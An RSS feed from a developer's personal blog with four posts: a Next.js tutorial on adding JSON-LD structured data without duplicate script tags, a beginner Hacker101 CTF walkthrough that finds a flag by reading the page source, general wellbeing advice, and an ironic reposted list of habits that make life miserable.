<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Chai's Digital Garden]]></title><description><![CDATA[A Software Dev with interest in Design, CyberSecurity, AI/ML, History, Geopolitics, Linguistics, Psychology, Philosophy and Art.]]></description><link>https://blog.chaitanyaraj.dev</link><generator>RSS for Node</generator><lastBuildDate>Wed, 15 Apr 2026 22:37:00 GMT</lastBuildDate><atom:link href="https://blog.chaitanyaraj.dev/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[SEO with Next.js App Router: Adding Structured Data for Rich Results]]></title><description><![CDATA[What is JSON-LD and Why Should You Care?
JSON-LD stands for JavaScript Object Notation for Linked Data. It’s a way to describe your website’s content so that search engines understand not just what’s on the page but how everything is connected.
It us...]]></description><link>https://blog.chaitanyaraj.dev/nextjs-app-router-structured-data</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/nextjs-app-router-structured-data</guid><category><![CDATA[Next.js]]></category><category><![CDATA[React]]></category><category><![CDATA[json]]></category><category><![CDATA[json-schema]]></category><category><![CDATA[Web Development]]></category><category><![CDATA[web]]></category><category><![CDATA[Frontend Development]]></category><category><![CDATA[frontend]]></category><category><![CDATA[TypeScript]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Programming Blogs]]></category><category><![CDATA[SEO]]></category><category><![CDATA[SEO for Developers]]></category><category><![CDATA[structured data]]></category><category><![CDATA[Google]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Sun, 01 Jun 2025 17:09:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748797169768/2ba27072-1ab9-4d37-ab5f-79b5ac04afb0.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-what-is-json-ld-and-why-should-you-care">What is JSON-LD and Why Should You Care?</h2>
<p><strong>JSON-LD</strong> stands for <em>JavaScript Object Notation for Linked Data</em>. It’s a way to describe your website’s content so that search engines understand not just what’s on the page but how everything is connected.</p>
<p>It uses regular JSON format to embed structured data in your HTML via a<br /><code>&lt;script type="application/ld+json"&gt;</code> tag. This script isn’t visible to users but helps Google identify key information like authors, recipes, events, products, and more.</p>
<p>Why does this matter?</p>
<p>Because it enables <strong>rich results</strong>, enhanced search listings with star ratings, images, FAQs, and more. These can significantly boost your site's performance:</p>
<ul>
<li><p><strong>Rotten Tomatoes</strong> added structured data to 100,000 pages and saw a <strong>25% higher click-through rate</strong> on enhanced pages.</p>
</li>
<li><p><strong>The Food Network</strong> enabled search features on 80% of its pages and observed a <strong>35% increase in visits</strong>.</p>
</li>
<li><p><strong>Rakuten</strong> found users spent <strong>1.5x more time</strong> and had a <strong>3.6x higher interaction rate</strong> on AMP pages with structured data.</p>
</li>
<li><p><strong>Nestlé</strong> reported an <strong>82% higher click-through rate</strong> for pages showing rich results.</p>
</li>
</ul>
<p><strong>In short</strong>: JSON-LD helps your content stand out in search, improves click-through rates, and gives users more reason to engage with your site.</p>
<p><strong>Read More:</strong></p>
<ul>
<li><p><a target="_blank" href="https://json-ld.org/">json-ld.org</a></p>
</li>
<li><p><a target="_blank" href="https://developers.google.com/search/docs/appearance/structured-data/intro-structured-data">Google’s guide to structured data</a></p>
</li>
</ul>
<hr />
<h2 id="heading-ld-json-in-nextjs-app-router-the-problem">LD-JSON in Next.js App Router – The Problem</h2>
<p>Next.js provides <a target="_blank" href="https://nextjs.org/docs/app/guides/json-ld">official guidance</a> on using JSON-LD with the App Router, introduced in Next.js 13. However, there’s a subtle but important issue.</p>
<p>When you add a<br /><code>&lt;script type="application/ld+json"&gt;</code> tag directly in a <strong>server component</strong>, it gets rendered <strong>twice</strong>:</p>
<ol>
<li><p>Once on the server – as part of the initial HTML.</p>
</li>
<li><p>Again on the client – during hydration, when React re-renders the component.</p>
</li>
</ol>
<p>This results in <strong>duplicate JSON-LD tags</strong>, which can confuse tools like Google’s Structured Data Testing Tool. It might flag the duplication, or it might just ignore your markup altogether.</p>
<p>Why does this happen?</p>
<p>Because <a target="_blank" href="https://github.com/vercel/next.js/discussions/42170#discussioncomment-8137079">React Server Components embed data in the HTML</a>, but then React hydrates and re-renders the page on the client, thus injecting your schema again.</p>
<p>This is a <a target="_blank" href="https://github.com/vercel/next.js/discussions/66896">known issue</a> with Next.js in certain setups.</p>
<hr />
<h2 id="heading-whats-the-fix">What’s the Fix?</h2>
<p>The solution: create a <strong>custom client component</strong> that checks if the schema tag is already present in the DOM before rendering it.</p>
<hr />
<h2 id="heading-the-solution-useskiphydration-hook-schemarenderer-component">The Solution: <code>useSkipHydration</code> Hook + <code>SchemaRenderer</code> Component</h2>
<h3 id="heading-componentsschemarenderertsx"><code>components/SchemaRenderer.tsx</code></h3>
<pre><code class="lang-typescript"><span class="hljs-string">"use client"</span>;

<span class="hljs-keyword">import</span> { useEffect, useState } <span class="hljs-keyword">from</span> <span class="hljs-string">"react"</span>;

<span class="hljs-keyword">const</span> useSkipHydration = <span class="hljs-function">(<span class="hljs-params">id: <span class="hljs-built_in">string</span></span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> [skipHydration, setSkipHydration] = useState(<span class="hljs-literal">false</span>);

  useEffect(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">document</span>?.getElementById(id)) {
      setSkipHydration(<span class="hljs-literal">true</span>);
    }
  }, [id]);

  <span class="hljs-keyword">return</span> skipHydration;
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">SchemaRenderer</span>(<span class="hljs-params">{
  id,
  schema,
}: {
  id: <span class="hljs-built_in">string</span>;
  schema: <span class="hljs-built_in">any</span>;
}</span>) </span>{
  <span class="hljs-keyword">const</span> skipHydration = useSkipHydration(id);

  <span class="hljs-keyword">if</span> (skipHydration) <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;

  <span class="hljs-keyword">return</span> (
    &lt;script
      id={id}
      <span class="hljs-keyword">type</span>=<span class="hljs-string">"application/ld+json"</span>
      dangerouslySetInnerHTML={{ __html: <span class="hljs-built_in">JSON</span>.stringify(schema) }}
    /&gt;
  );
}
</code></pre>
<hr />
<h2 id="heading-use-it-in-your-page-server-component">Use It in Your Page (Server Component)</h2>
<h3 id="heading-appslugpagetsx"><code>app/[slug]/page.tsx</code></h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">import</span> SchemaRenderer <span class="hljs-keyword">from</span> <span class="hljs-string">'@/components/SchemaRenderer'</span>;

<span class="hljs-keyword">const</span> jsonLdData = {
  <span class="hljs-string">"@context"</span>: <span class="hljs-string">"https://schema.org"</span>,
  <span class="hljs-string">"@type"</span>: <span class="hljs-string">"BlogPosting"</span>,
  <span class="hljs-string">"headline"</span>: <span class="hljs-string">"Your Blog Title"</span>,
  <span class="hljs-string">"author"</span>: {
    <span class="hljs-string">"@type"</span>: <span class="hljs-string">"Person"</span>,
    <span class="hljs-string">"name"</span>: <span class="hljs-string">"John Doe"</span>
  },
  <span class="hljs-string">"datePublished"</span>: <span class="hljs-string">"2025-06-01"</span>
};

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">BlogPage</span>(<span class="hljs-params"></span>) </span>{
  <span class="hljs-keyword">return</span> (
    &lt;&gt;
      &lt;article&gt;
        &lt;h1&gt;Your Blog Content&lt;/h1&gt;
      &lt;/article&gt;

      &lt;SchemaRenderer id=<span class="hljs-string">"json-ld-blog"</span> schema={jsonLdData} /&gt;
    &lt;/&gt;
  );
}
</code></pre>
<blockquote>
<p><strong>Note</strong>: You won’t see the script tag in the DOM using browser devtools in development (<code>npm run dev</code>). Instead, check the page source or build with <code>npm run build</code> and run with <code>npm run start</code> to verify the script is correctly rendered.</p>
</blockquote>
<hr />
<h2 id="heading-validating-your-structured-data">Validating Your Structured Data</h2>
<p>Use the following tools to ensure your schema is valid:</p>
<ul>
<li><p><a target="_blank" href="https://developers.google.com/search/docs/appearance/structured-data">Google Structured Data Guide</a></p>
</li>
<li><p><a target="_blank" href="https://validator.schema.org/">Schema.org Validator</a></p>
</li>
<li><p><a target="_blank" href="https://search.google.com/test/rich-results">Google Rich Results Test</a></p>
</li>
<li><p><a target="_blank" href="https://json-ld.org/playground/">JSON-LD Playground</a></p>
</li>
</ul>
<hr />
<h2 id="heading-how-this-fix-actually-works-under-the-hood">How This Fix Actually Works – Under the Hood</h2>
<h3 id="heading-useskiphydration-hook"><code>useSkipHydration</code> Hook</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">const</span> useSkipHydration = <span class="hljs-function">(<span class="hljs-params">id: <span class="hljs-built_in">string</span></span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> [skipHydration, setSkipHydration] = useState(<span class="hljs-literal">false</span>);

  useEffect(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-keyword">if</span> (<span class="hljs-built_in">document</span>?.getElementById(id)) {
      setSkipHydration(<span class="hljs-literal">true</span>);
    }
  }, [id]);

  <span class="hljs-keyword">return</span> skipHydration;
};
</code></pre>
<p>This hook checks after mounting whether a script tag with the given <code>id</code> already exists in the DOM.</p>
<p>Why it’s important:</p>
<ul>
<li><p>The server already injected the <code>&lt;script&gt;</code> tag.</p>
</li>
<li><p>During hydration, React tries to render it again.</p>
</li>
<li><p>This hook detects the presence and prevents a second render.</p>
</li>
</ul>
<h3 id="heading-conditional-rendering">Conditional Rendering</h3>
<pre><code class="lang-typescript"><span class="hljs-keyword">if</span> (skipHydration) <span class="hljs-keyword">return</span> <span class="hljs-literal">null</span>;
</code></pre>
<p>If the tag is already present, skip rendering it again. This avoids duplication of the script tags.</p>
<h3 id="heading-rendering-the-schema">Rendering the Schema</h3>
<pre><code class="lang-typescript">&lt;script
  id={id}
  <span class="hljs-keyword">type</span>=<span class="hljs-string">"application/ld+json"</span>
  dangerouslySetInnerHTML={{ __html: <span class="hljs-built_in">JSON</span>.stringify(schema) }}
/&gt;
</code></pre>
<p>If the script tag isn’t present, this renders it.<br /><code>dangerouslySetInnerHTML</code> is necessary to inject raw JSON into the script tag.</p>
<hr />
<h2 id="heading-final-thoughts-structured-data-done-right-in-nextjs">Final Thoughts: Structured Data Done Right in Next.js</h2>
<p>Implementing JSON-LD is one of the <strong>simplest and most powerful</strong> ways to improve your site’s SEO:</p>
<p>✅ Unlocks rich search results<br />✅ Improves click-through rates<br />✅ Helps search engines deeply understand your content</p>
<p>But with React Server Components and hydration quirks, doing it naively can cause duplication and broken validation.</p>
<p>This approach solves that cleanly:</p>
<ul>
<li><p>✅ Works with SSR + hydration</p>
</li>
<li><p>✅ Prevents duplicate <code>&lt;script&gt;</code> tags</p>
</li>
<li><p>✅ Keeps your schema clean and Google-friendly</p>
</li>
</ul>
<p>Whether it’s a blog, a product page, or a full-fledged app, this method keeps your structured data <strong>robust, scalable, and SEO-optimized</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[Unlocking the Secrets of Hacker101: Your First Capture the Flag Challenge]]></title><description><![CDATA[Hey there, tech adventurers! Welcome to my blog! Today, we're diving headfirst into the thrilling world of Capture the Flag (CTF) challenges. Whether you're a complete newbie to cybersecurity or a seasoned pro looking to sharpen your skills, this wal...]]></description><link>https://blog.chaitanyaraj.dev/unlocking-the-secrets-of-hacker101-your-first-capture-the-flag-challenge</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/unlocking-the-secrets-of-hacker101-your-first-capture-the-flag-challenge</guid><category><![CDATA[hacker101]]></category><category><![CDATA[hacking]]></category><category><![CDATA[hackerone]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Flags]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Sun, 16 Jun 2024 19:46:44 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1718566903507/1f1f748d-7151-49f9-a25b-9730df9f7168.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Hey there, tech adventurers! Welcome to my blog! Today, we're diving headfirst into the thrilling world of Capture the Flag (CTF) challenges. Whether you're a complete newbie to cybersecurity or a seasoned pro looking to sharpen your skills, this walkthrough will help you navigate a typical CTF challenge with plenty of tips and tricks along the way. Ready to roll? Let’s do this!</p>
<h3 id="heading-what-is-a-ctf">What is a CTF?</h3>
<p>Capture the Flag (CTF) is like a cybersecurity treasure hunt where participants tackle various security-related tasks. These challenges can range from basic cryptography and reverse engineering to web exploitation and forensics. The main goal? To find hidden "flags" (usually strings of text) within these tasks.</p>
<h3 id="heading-what-is-hacker101-ctf">What is Hacker101 CTF?</h3>
<p>Hacker101 CTF is an awesome online platform from HackerOne, designed to help you learn and practice your hacking skills. It offers a variety of CTF challenges that mimic real-world security vulnerabilities and scenarios. It’s like a playground for aspiring ethical hackers to hone their skills in a safe and controlled environment.</p>
<p>And guess what? They’ve got a whole tutorial series to help you out, which you can check out <a target="_blank" href="https://www.hacker101.com/">here</a>.</p>
<p>This first challenge is aptly named 'A Little Something to Get You Started'. The objective? Find a hidden flag on a simple webpage.</p>
<h3 id="heading-challenge-a-little-something-to-get-you-started">Challenge: A Little Something to Get You Started</h3>
<p><strong>Description</strong>: Your mission, should you choose to accept it, is to locate a hidden flag on a straightforward webpage. The URL will be generated dynamically when you begin the challenge.</p>
<p>Alright, let’s get cracking on this challenge and dive into the basics of web security and CTFs.</p>
<h4 id="heading-step-by-step-walkthrough">Step-by-Step Walkthrough</h4>
<h4 id="heading-step-1-reconnaissance">Step 1: Reconnaissance</h4>
<ol>
<li><p><strong>Visit the URL</strong>: Fire up your web browser and head over to the generated URL. The page might look like a plain Jane, but we’re here to uncover its secrets.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1718565569031/29966b45-0abc-4b8d-8c58-30237d5ed8ab.png" alt class="image--center mx-auto" /></p>
</li>
<li><p><strong>View Page Source</strong>:</p>
<ul>
<li><p>Right-click on the webpage and select "View Page Source" or use the keyboard shortcut <code>Ctrl+U</code> (on Linux/Windows) or <code>Cmd+U</code> (on Mac).</p>
</li>
<li><p>This will show you the HTML code of the page. Look for any hidden comments or scripts that might contain clues or the flag itself.</p>
</li>
</ul>
</li>
</ol>
<pre><code class="lang-xml">
    <span class="hljs-meta">&lt;!doctype <span class="hljs-meta-keyword">html</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">html</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">head</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
                <span class="hljs-selector-tag">body</span> {
                    <span class="hljs-attribute">background-image</span>: <span class="hljs-built_in">url</span>(<span class="hljs-string">"background.png"</span>);
                }
            </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Welcome to level 0.  Enjoy your stay.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
<p>    Hmm, it seems this webpage is loading a background image, but as we can see, the background is as barren as Vin Diesel’s scalp. How very curious!</p>
<h4 id="heading-step-2-check-linked-files">Step 2: Check Linked Files</h4>
<ol>
<li><p><strong>Look for Files</strong>:</p>
<ul>
<li>Based on the styles in the HTML source, there's a mention of a <code>background.png</code> file.</li>
</ul>
</li>
<li><p><strong>Navigate to the Linked File</strong>:</p>
<ul>
<li>Enter <a target="_blank" href="http://example-hacker101.com/start/script.js"><code>&lt;generated_url&gt;/background.</code></a><code>png</code> in your browser to view the content of <code>background.png</code>.</li>
</ul>
</li>
</ol>
<h4 id="heading-step-3-retrieve-the-flag">Step 3: Retrieve the Flag</h4>
<ol>
<li><p><strong>Find the Flag on the page</strong>:</p>
<pre><code class="lang-plaintext"> ^FLAG^[REDACTED]$FLAG$
</code></pre>
<p> Now we have the flag in our grasp. Let's move on to submitting the flag.</p>
</li>
</ol>
<h4 id="heading-step-4-submit-the-flag">Step 4: Submit the Flag</h4>
<ol>
<li><p><strong>Submit the Flag</strong>:</p>
<ul>
<li><p>Go back to the Hacker101 CTF platform.</p>
</li>
<li><p>Navigate to the <a target="_blank" href="https://ctf.hacker101.com/ctf/submit_flag">flag submission page</a>.</p>
</li>
<li><p>Enter the flag in the submission field.</p>
</li>
</ul>
</li>
</ol>
<p>If the flag is correct, you will see a confirmation message, and points will be awarded to your account.</p>
<h3 id="heading-additional-tips">Additional Tips</h3>
<ul>
<li><p><strong>Pay Attention to Details</strong>: Sometimes, the smallest detail in the source code or the challenge description can point you in the right direction.</p>
</li>
<li><p><strong>Practice Regularly</strong>: The more challenges you complete, the more familiar you will become with common patterns and techniques used in CTFs.</p>
</li>
</ul>
<h3 id="heading-conclusion">Conclusion</h3>
<p>Congratulations on completing your first challenge! "A little something to get you started" is just the beginning. As you progress, the challenges will become more complex and require more advanced techniques. Keep practicing, stay curious, and enjoy the journey of becoming a proficient ethical hacker. Happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[The Guide to Living a Better Life]]></title><description><![CDATA[It’s all about light
Human beings are not made to stay cooped up inside a small room with artificial lighting all day. The smooth functioning of our Circadian Rhythm requires us to have some interaction with the daylight.
Seeing the sun for 10 minute...]]></description><link>https://blog.chaitanyaraj.dev/better-life</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/better-life</guid><category><![CDATA[mentalhealth]]></category><category><![CDATA[Productivity]]></category><category><![CDATA[life]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Tue, 14 Feb 2023 16:38:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1676392574090/0a5d803c-0085-4db3-91bb-65888abc6dc7.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-its-all-about-light">It’s all about light</h1>
<p>Human beings are not made to stay cooped up inside a small room with artificial lighting all day. The smooth functioning of our Circadian Rhythm requires us to have some interaction with the daylight.</p>
<p>Seeing the sun for 10 minutes in the morning and in the evening primes your brain to be more accurate to the natural human sleep cycle, which is: work in the day, sleep in the night. You can take 10 minutes out of your busy schedule.</p>
<p>If unable to get sunlight for any reason, simulate daylight with your artificial lighting. Keep it stronger and overhead during the day, dimming it when approaching the evening.</p>
<h1 id="heading-dont-seek-continuous-input-take-time-to-process">Don’t seek continuous input, take time to process</h1>
<p>We are creatures that need time and space to process what we experience and think on our own. Scheduling some time for yourself each day to reflect and think deeply can help you to stay in touch with your emotions and be more mindful of your inner thoughts.</p>
<p>This practice can help you to gain clarity and understanding about the things happening in your life, and can help to reduce the amount of stress and anxiety that often come from feeling overwhelmed.</p>
<p>When processing, make sure to focus on one thing at a time. Trying to multitask can often cause more confusion than clarity. Take your time and let yourself process your thoughts and feelings.</p>
<h1 id="heading-get-moving">Get moving</h1>
<p>Exercise is an important part of living a healthy life. Not only does it help to keep your body healthy, but it also helps to reduce stress and anxiety. Even if you can’t make it to the gym, there are ways to get some physical activity in during your day. Taking a walk or a jog in the park, joining a dance class, or even doing some simple exercises at home can all be beneficial to your mental and physical well-being.</p>
<p>Physical activity is also a great way to clear your mind and gain some perspective. Taking a few moments to yourself to get your body moving can help to relieve stress and give you the clarity to tackle any problem that comes your way.</p>
<h1 id="heading-make-time-for-your-hobbies">Make time for your hobbies</h1>
<p>Taking the time to engage in activities that you enjoy can help to reduce stress, clear your mind, and give you a sense of purpose and accomplishment. Whether it’s painting, reading, playing a musical instrument, or anything else that you enjoy, taking some time for yourself to do something you love can help to make life more enjoyable.</p>
<p>Having hobbies also helps to give you a sense of identity and can help to keep you from feeling overwhelmed. Whether you do them alone or with friends, participating in activities that you enjoy can help to give you a break from the daily grind and help to keep you feeling happy and fulfilled.</p>
<h1 id="heading-connect-with-nature">Connect with nature</h1>
<p>Getting out in nature is a great way to reduce stress and reconnect with yourself. Taking a walk in the park or going for a hike in the woods can help to clear your mind and give you a break from the hustle and bustle of daily life.</p>
<p>Being in nature can also help you to appreciate the beauty of the world around you and can help to give you a sense of peace and calm. Whether it’s sitting in the park listening to the birds, or taking a dip in the lake, taking some time out of your day to connect with nature can make a huge difference in your life.</p>
<h1 id="heading-take-care-of-your-mind-and-body">Take care of your mind and body</h1>
<p>Taking care of your mind and body is essential for living a better life. Taking the time to exercise regularly and eat a balanced diet can help to keep you healthy and energized. It can also help to reduce stress, improve your mood, and give you more energy to get through the day.</p>
<p>Getting enough sleep and taking the time to relax are also important for your physical and mental health. Taking time out to do things you enjoy, such as reading, meditating, or going for a walk, can help to relieve stress and give you a sense of peace and satisfaction.</p>
<h1 id="heading-reduce-screen-time">Reduce screen time</h1>
<p>Spending too much time looking at screens can be damaging to both your physical and mental well-being. We are constantly bombarded with information and messages that can be overwhelming and exhausting. Taking a break from technology and giving yourself some time away from screens can help to restore your sense of balance and clarity.</p>
<p>Limiting your screen time can also help to improve your mental health and reduce stress. Taking a break from technology can help to give you a sense of peace and can help to make your life more enjoyable.</p>
<p>Making a conscious effort to reduce your screen time can help to make your life more meaningful and enjoyable.</p>
<h1 id="heading-spend-time-with-people-you-care-about">Spend time with people you care about</h1>
<p>Having strong relationships with the people you care about can help to make life more enjoyable. Taking the time to connect with family and friends can help to create a sense of community and belonging, and can help to provide emotional support and companionship.</p>
<p>Spending time with the people you care about can also help to reduce stress, improve your mood, and make life more meaningful. Whether it’s having a conversation over coffee, or taking a trip together, making time to spend with the people you love can make life more enjoyable and fulfilling.</p>
]]></content:encoded></item><item><title><![CDATA[How to be unproductive, unhappy, and make your life a living hell]]></title><description><![CDATA[Original Post by Amaan
1. Be as lazy as possible
Being lazy is easy, so take the easy route. Stay inside and don't do anything productive. If you start exercising, for example, you might build momentum and become more energetic, so make sure not to d...]]></description><link>https://blog.chaitanyaraj.dev/unproductive</link><guid isPermaLink="true">https://blog.chaitanyaraj.dev/unproductive</guid><category><![CDATA[Productivity]]></category><category><![CDATA[mentalhealth]]></category><dc:creator><![CDATA[Chaitanya Raj]]></dc:creator><pubDate>Sun, 22 Jan 2023 09:40:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1674380299951/a48c2c55-950b-4454-8729-904fc3294406.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p><a target="_blank" href="https://www.reddit.com/r/getdisciplined/comments/ilbg91/advice_how_to_be_unproductive_unhappy_and_make/">Original Post</a> by <a target="_blank" href="https://www.amaan.com/">Amaan</a></p>
<h2 id="heading-1-be-as-lazy-as-possible">1. Be as lazy as possible</h2>
<p>Being lazy is easy, so take the easy route. Stay inside and don't do anything productive. If you start exercising, for example, you might build momentum and become more energetic, so make sure <em>not</em> to do that.</p>
<h2 id="heading-2-become-a-vampire">2. Become a vampire</h2>
<p>Don't ever go outside or let sunlight touch you. Stay up late at night to mess up your circadian rhythm so that you have less energy throughout the day. This will help you feel like garbage.</p>
<h2 id="heading-3-avoid-water-prioritise-snacks-andamp-sugary-drinks">3. Avoid water, prioritise snacks &amp; sugary drinks</h2>
<p>Eat junk food and fast food as often as possible, at least once per day. Make sure to have milkshakes, sodas, and energy drinks to top it off. Getting those spikes of insulin and caffeine will help you have massive crashes throughout the day, ensuring you become more unproductive throughout the day.</p>
<h2 id="heading-4-habits-are-natural-either-develop-bad-ones-or-dont-think-about-them-at-all">4. Habits are natural. Either develop bad ones or don't think about them at all</h2>
<p>Some people deliberately analyse what habits they have to fix them. Don't be like that. Ignorance is bliss, so convince yourself that all your habits are perfect the way they are. If you notice you have "bad" habits, don't try to fix them. Let them be.</p>
<h2 id="heading-5-confuse-your-brain">5. Confuse your brain</h2>
<p>While you should already be staying inside at all times, make sure to confuse your brain by combining all your activities in one place. Work where you sleep, sleep where you eat, and eat where you relax. That way, if you need to accomplish a specific task, your brain will mix up what it should be doing, so you might eat instead of work, and you'll never get it done.</p>
<h2 id="heading-6-create-vague-and-unachievable-goals">6. Create vague and unachievable goals</h2>
<p>Make sure your goals are impossible to achieve. If you're earning $5k per month, make sure your goal is $1 million next month. Or better yet, don't even set a time frame. Have the dream of becoming a millionaire without creating a specific plan on how to approach that goal. Just have it in the back of your mind forever, and tell yourself you won't be happy until you achieve that goal.</p>
<p>If, for some reason, you decide to create a specific goal (gross), focus on the future steps first. Want to build a company? Focus on scaling and marketing <em>before</em> you actually make sure your product provide value. Question if your current workflow will be efficient when you get to 100k users before you even reach 10.</p>
<h2 id="heading-7-be-antisocial">7. Be antisocial</h2>
<p>Avoid interactions at all costs. Go weeks at a time without talking to your friends or family. Embrace isolation. You'll feel completely alone. This will enhance that feeling of depression.</p>
<h2 id="heading-8-focus-on-dopamine-traps">8. Focus on dopamine traps</h2>
<p>Video games, gambling, drinking, smoking, or porn. Do them all. Focus on the unfulfilling and time-wasting activities that help make the days go by a little faster. They feel great temporarily, and hedonism is what you should focus all of your time on. Sometimes people do these in moderation. Avoid self-control and go all out. Don't set limits for yourself.</p>
<h2 id="heading-9-make-excuses-and-avoid-responsibility">9. Make excuses and avoid responsibility</h2>
<p>If you justify actions you know are bad, great! Keep doing that. Make sure you aren't responsible for anything in your life and blame the world for what's happening to you. If you give up control of your life, you'll feel dis-empowered which directly leads to unhappiness.</p>
<p>Along with this, consume as much news as possible. That will help with this. You'll feel like the world is spiralling downward and you can't do anything about it. You will feel as though you have no control over anything, which is exactly what you need.</p>
<h2 id="heading-10-talk-down-on-yourself">10. Talk down on yourself</h2>
<p>Make sure your internal monologue is always negative. Criticise yourself on every action and mistake you make. Always highlight the flaws, and never, under any circumstances, compliment yourself for anything. Practice pessimism at all times. Optimism gives hope, and hope breeds action. So you must avoid optimism entirely.</p>
<h2 id="heading-11-doubt-yourself">11. Doubt yourself</h2>
<p>Any time you're about to try something new, whether starting a business or asking someone out, instil fear. Tell yourself it won't work before even starting. Hold yourself back.</p>
<h2 id="heading-12-argue-with-everyone-fight-about-everything-especially-on-the-internet">12. Argue with everyone. Fight about everything. Especially on the internet.</h2>
<p>Twitter is great for this. Find all the people who have strong opinions, and make sure to argue and insult them. It doesn't matter who's right or wrong, just make sure you really show that hatred. It doesn't matter how minuscule the topic is, fight about anything you disagree with. Share your opinions about everything. Don't acknowledge the fact that they have the same goal as you: maximising misery. That leads to empathy which you should not have. Make sure you're always angry about something.</p>
<h2 id="heading-13-be-theatrical-play-those-status-games">13. Be theatrical. Play those status games.</h2>
<p>Focus on acting woke and put yourself on a pedestal. Satisfy that ego and chase after likes. Show how smart and perfect you are by criticising and belittling others, and make sure to <em>never</em> forgive people for their mistakes.</p>
<p>Don't do anything that <em>actually</em> makes an impact, otherwise you'll start to feel fulfilled.</p>
<h2 id="heading-14-maximise-screen-time">14. Maximise screen time</h2>
<p>Don't read or walk outside. Make sure you're constantly on social media, watching videos and movies, and never taking your eyes off of it. Multitask different websites simultaneously. Watch YouTube on your laptop while scrolling through Reddit on your phone.</p>
<h2 id="heading-15-be-complacent-and-dont-take-risks">15. Be complacent and don't take risks</h2>
<p>Make sure you're never striving to improve. Successful people find a healthy balance between improvement and gratitude. Make sure you focus on one or the other completely. Focus solely on improvement, and it'll never be enough. Focus solely on gratitude, and you'll become complacent.</p>
<p>Avoid risks and change at all costs. Stick with the familiar and never move outside of your comfort zone. You'll limit your experiences in life, and maybe you'll get to see them through other people's lives on social media. You'll know exactly what you're missing out on, but you'll be too afraid to go after it. It will spiral down into self-hatred, which is what you need.</p>
<h2 id="heading-16-compare-yourself-with-others">16. Compare yourself with others</h2>
<p>You see someone living an amazing life? Make sure to question why they have that life. Sure, you may be 20 and he's 25. That doesn't matter. Ask yourself why you don't have that now. You see someone who's the same age as you yet he's doing so much better? Make sure to doubt yourself. Don't track your own improvements each day, focus only on what other people are doing. Your progress will slow down while comparing yourself against others which will only make this feel drastically worse.</p>
<h2 id="heading-17-expect-permanence">17. Expect permanence</h2>
<p>Expect that everything will last forever for you. That nice house and all that money you have? You'll have it forever. Don't worry about losing it. If you understand that everything is impermanent, you'll start being grateful which you must avoid!</p>
<p>Always upgrade your quality. You just got a $100k car? Focus on buying a $500k car next. That way, the $100k will never feel as great as on the first day you got it.</p>
<h2 id="heading-18-search-for-the-zero-sum-games">18. Search for the zero-sum games</h2>
<p>Don't look for ways to benefit both parties. Find ways to profit more, especially at the expense of others. If it comes a negative-sum game where you're dealing with a war of attrition, so be it. At least the other party isn't doing better than you.</p>
<h2 id="heading-19-focus-on-the-short-term">19. Focus on the short term</h2>
<p>We all know long term is better. But that's harder and we must avoid difficulty at all costs. Embolden the impatient personality of yours and chase after the quick fixes instead. It satisfies that impatience and feels better in the moment.</p>
<h2 id="heading-20-judge-others">20. Judge others</h2>
<p>We all have an ego we need to satisfy. Make sure to boost yourself up, especially at the expense of others. Embrace negativity and judge others for how they look or what they do. Don't try to think positively about others, that's harder and more fulfilling. Make sure to chase after that superficial superiority complex.</p>
<hr />
<p>I wrote this for myself as a reminder that many of the things I do are <em>not</em> helping me improve. They hold me back, and reframing it as a "How To" guide on becoming miserable actually motivates me more to avoid these directives. If you catch yourself doing any of these, you now have the awareness which is always the first step. Fixing these takes work, which as I said before, is hard. But everyone has the ability to overcome these, you just have to strategize your approach.</p>
